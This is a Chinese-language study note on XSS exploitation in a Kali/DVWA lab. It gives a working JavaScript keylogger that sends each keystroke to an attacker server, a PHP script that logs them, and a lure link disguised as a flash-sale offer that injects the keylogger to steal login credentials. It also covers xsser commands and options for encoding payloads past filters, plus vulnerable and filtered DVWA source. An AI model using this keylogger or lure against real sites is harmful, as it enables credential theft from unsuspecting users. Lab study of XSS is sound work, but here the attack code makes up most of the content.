小白日記48：kali滲透測試之Web滲透-XSS（二）-漏洞利用-鍵盤記錄器，xsser

XSS

原則上：只要XSS漏洞存在，可以編寫任何功能的js腳本

【反射型漏洞利用】

鍵盤記錄器：被記錄下的數據會發送到攻擊者指定的URL地址上

服務器：kali　　　　客戶端

啟動apache2服務：service apache2 start

 

語法：<script src="http://192.168.1.127/keylogger.js"></script>

keylogger.js　　　　

document.onkeypress = function(evt) {
        evt = evt || window.event
        key = String.fromCharCode(evt.charCode)
        if(key) {
                var http = new XMLHttpRequest();
                var param = encodeURI(key)
                http.open("POST","http://192.168.1.127/keylogger.php",true);
                http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
                http.send("key="+param);
        }
}
~   

 

keylogger.php　　【用來接受客戶端提交上來的數據】

<?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp = fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
>

 

為避免被引起用戶懷疑，可將跳轉命令置於html文件中

前提：用戶已經登錄網站，獲得其cookie信息

#偽造誘人連接｛如：限時搶購門票、手機等｝，轉到存在xss漏洞的頁面【主要危害為登錄頁面】，竊取用戶登錄賬號密碼

 

a.hmlt

<a href="http://192.168.1.107/dvwa/vulnerabilities/xss_r/?name=<scripr+src='http://192.168.56.102/keylogger.js'></script>">誘人字眼</a>

 

XSS利用工具

Xsser　　【專門針對XSS漏洞，使用python編寫】

可使用圖形化界面　　xsser --gtk　　【不建議使用，界面不夠友好】

可繞過服務器端輸入篩選　　【xss存在極其普遍】

1、編碼　　10進制/16進制

2、函數：unecape()

簡單使用語法：xsser -u "http://192.168.56.101/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low; PHPSESSID=31677b04bc31eac6cd78dbb1922e8028" -s -v --reverse-check

 

 

【GET：將對應頁面和參數寫進-g參數中；POST：使用-P；-s：統計請求數；-v：顯示詳細信息；--reverse-check：禁止提交hash值方式驗證（此方法存在誤判）】

--heuristic　　探測服務器，檢查被過濾的字符（會發送大量請求）｛腦洞：sql｝　　【所有過濾機制都是基於字符過濾】

 

對payload編碼，繞過服務器短篩選過濾　　【過多編碼可能造成語義誤差】

  *Select Bypasser(s)*:
    These options can be used to encode selected vector(s) to try to
    bypass possible anti-XSS filters on target(s) code and possible IPS
    rules, if the target use it. Also, can be combined with other
    techniques to provide encoding:

    --Str               Use method String.FromCharCode()
    --Une               Use Unescape() function
    --Mix               Mix String.FromCharCode() and Unescape()
    --Dec               Use Decimal encoding
    --Hex               Use Hexadecimal encoding
    --Hes               Use Hexadecimal encoding, with semicolons
    --Dwo               Encode vectors IP addresses in DWORD
    --Doo               Encode vectors IP addresses in Octal
    --Cem=CEM           Try -manually- different Character Encoding Mutations
                        (reverse obfuscation: good) -> (ex: 'Mix,Une,Str,Hex')

 

注入技術

  *Special Technique(s)*:
    These options can be used to try to inject code using different type
    of XSS techniques. You can choose multiple:

    --Coo               COO - Cross Site Scripting Cookie injection
    --Xsa               XSA - Cross Site Agent Scripting
    --Xsr               XSR - Cross Site Referer Scripting
    --Dcp               DCP - Data Control Protocol injections
    --Dom               DOM - Document Object Model injections
    --Ind               IND - HTTP Response Splitting Induced code
    --Anchor            ANC - Use Anchor Stealth payloader (DOM shadows!)
    --Phpids            PHP - Exploit PHPIDS bug (0.6.5) to bypass filters

 

  *Select Final injection(s)*:
    These options can be used to specify the final code to inject in
    vulnerable target(s). Important, if you want to exploit on-the-wild
    your discovered vulnerabilities. Choose only one option:

    --Fp=FINALPAYLOAD   OWN    - Insert your final code to inject -manually-
    --Fr=FINALREMOTE    REMOTE - Insert your final code to inject -remotelly-
    --Doss              DOSs   - XSS Denial of service (server) injection
    --Dos               DOS    - XSS Denial of service (client) injection
    --B64               B64    - Base64 code encoding in META tag (rfc2397)

  *Special Final injection(s)*:
    These options can be used to execute some 'special' injection(s) in
    vulnerable target(s). You can select multiple and combine with your
    final code (except with DCP code):

    --Onm               ONM - Use onMouseMove() event to inject code
    --Ifr               IFR - Use <iframe> source tag to inject code

 

源碼分析

低安全級別　　【$_GET[]:直接回顯輸入的數據，不做任何過濾】

 <?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

 $isempty = true;

} else {
        
 echo '<pre>';
 echo 'Hello ' . $_GET['name'];
 echo '</pre>';
    
}

?> 

 

中安全級別　　【在輸出時替換script為空，可拆分重整script為scriscriptpt】

 <?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

 $isempty = true;

} else {

 echo '<pre>';
 echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
 echo '</pre>'; 

}

?> 

 

高安全級別【htmlspecialchars():進行html編碼，目前最有效的方法（並非完全不可繞過【不需要尖括號的情況：如<a href=>】）】｛可用burpsuite進行編碼｝

 <?php
    
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
    
 $isempty = true;
        
} else {
    
 echo '<pre>';
 echo 'Hello ' . htmlspecialchars($_GET['name']);
 echo '</pre>';
        
}

?>